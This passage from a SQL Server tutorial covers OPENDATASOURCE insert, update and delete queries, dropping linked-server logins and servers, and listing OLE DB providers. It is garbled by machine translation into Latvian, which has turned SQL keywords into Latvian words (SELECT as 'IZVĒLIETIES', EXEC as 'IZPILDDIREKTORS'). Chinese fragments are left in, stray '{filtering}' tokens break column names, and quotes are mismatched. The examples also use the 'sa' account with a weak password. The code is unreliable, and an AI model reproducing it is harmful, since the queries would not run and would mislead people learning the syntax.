/* Piemēram: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(DIAPAZONS,LĪMENIS,Personas) IZVĒLIETIES DIAPAZONU,LĪMENIS,Personas NO tb */ --Piezīme: Lai iegūtu vairāk alternatīvu metožu, skatiet .3.1 vaicājuma piemēru, vienkārši nomainiet saturu rindiņu kopas funkcijā (OPENDATASOURCE). --3.3.3 Atjaunināt piemēru UPDATE OPENDATASOURCE('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole'). Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums SET lauks = 'vērtība' Lauks WHERE = 'nosacījums'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET personas = 'g' WHERE personas = 'a' */ --Piezīme: Lai iegūtu vairāk alternatīvu metožu, skatiet .3.1 vaicājuma piemēru, vienkārši nomainiet saturu rindiņu kopas funkcijā (OPENDATASOURCE). --3.3.4 Dzēst piemēru DZĒST OPENDATASOURCE('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole'). Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums WHERE lauka nosaukums='nosacījums'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb WHERE personas = 'g' */ - Piezīme: Vairāk alternatīvu
Skatiet .3.1 vaicājuma piemēru, vienkārši nomainiet saturu funkciju rowset (OPENDATASOURCE). -- Saistītā servera metodes dzēšana --Ja turpmāk vairs neizmantosiet saites informāciju, varat izdzēst saites informāciju --4.1 Dzēst pieteikšanās informāciju (vai dzēst saistītā servera pieteikšanās vārdu karti) EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/* Piemēram: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Saistītā servera nosaukuma dzēšana EXEC sp_dropserver 'LinkName','droplogins' -- ja ir norādīti droplogins, Pieteikšanās karte ir jāizdzēš pirms saistītā servera dzēšanas
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Pievienots
: Kā iegūt nodrošinātāja nosaukumu (EXEC master.). xp_enum_oledb_providers) ATLASIET CAST([Nodrošinātāja nosaukums] KĀ
VARCHAR(30)) Nodrošinātāja nosaukums, CAST([Nodrošinātāja descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion NO
OPENROWSET( "SQLOLEDB", 'Serveris =.; Trusted_Connection=jā", "IZSLĒDZIET FMTONLY; IZPILDDIREKTORS
meistars.. xp_enum_oledb_providers"
)
|